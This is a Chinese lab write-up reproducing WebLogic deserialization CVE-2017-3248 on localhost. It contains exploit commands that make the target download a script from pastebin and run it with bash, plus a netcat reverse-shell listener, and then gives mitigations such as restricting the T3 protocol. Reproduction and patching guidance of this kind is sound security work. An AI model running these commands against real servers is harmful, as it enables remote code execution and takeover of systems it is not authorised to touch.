WebLogic反序列化漏洞(CVE-2017-3248)

参考:
https://paper.seebug.org/333/
环境安装
反弹shell参考:
https://w00troot.blogspot.com/2017/05/getting-reverse-shell-from-web-shell.html
weblogic在服务器命令行安装步骤参考:
https://blog.csdn.net/caiqiiqi/article/details/84231388

使用Java 7和Java 8均可成功复现。
漏洞复现
先启动weblogic(终端#1)
➜ base_domain ./startWebLogic.sh

在某端口监听(接收反弹shell)
➜ ysoserial nc -klv 7777

Listening on [0.0.0.0] (family 0, port 7777)

使用exploit进行利用

➜ weblogic git:(master) python2 exploit-CVE-2017-3248-bobsecq.py -t 127.0.0.1 -p 7001 --jip 127.0.0.1 --jport 4444 --cmd “wget https://pastebin.com/raw/a98rTvAM -O /tmp/shell” --ysopath /home/cqq/repos/ysoserial/ysoserial-master-v0.0.5-g16fc48b-20.jar
➜ weblogic git:(master) python2 exploit-CVE-2017-3248-bobsecq.py -t 127.0.0.1 -p 7001 --jip 127.0.0.1 --jport 4444 --cmd “/bin/bash /tmp/shell” --ysopath /home/cqq/repos/ysoserial/ysoserial-master-v0.0.5-g16fc48b-20.jar

工具来源:https://github.com/quentinhardy/scriptsAndExploits

解决方案:

  1. 升级 JDK 版本。由于 Java 在今年一月份以后更新了反序列化防御接口,可以缓解反序列化漏洞的影响。
  2. 升级 WebLogic 、删除不需要的页面,清理不安全的第三方库。
  3. 控制T3协议的访问

此漏洞产生于WebLogic的T3服务,因此可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。当开放WebLogic控制台端口(默认为7001端口)时,T3服务会默认开启。

具体操作:

(1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
(2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。
(3)保存后需重新启动,规则方可生效。

你可能感兴趣的:(Web)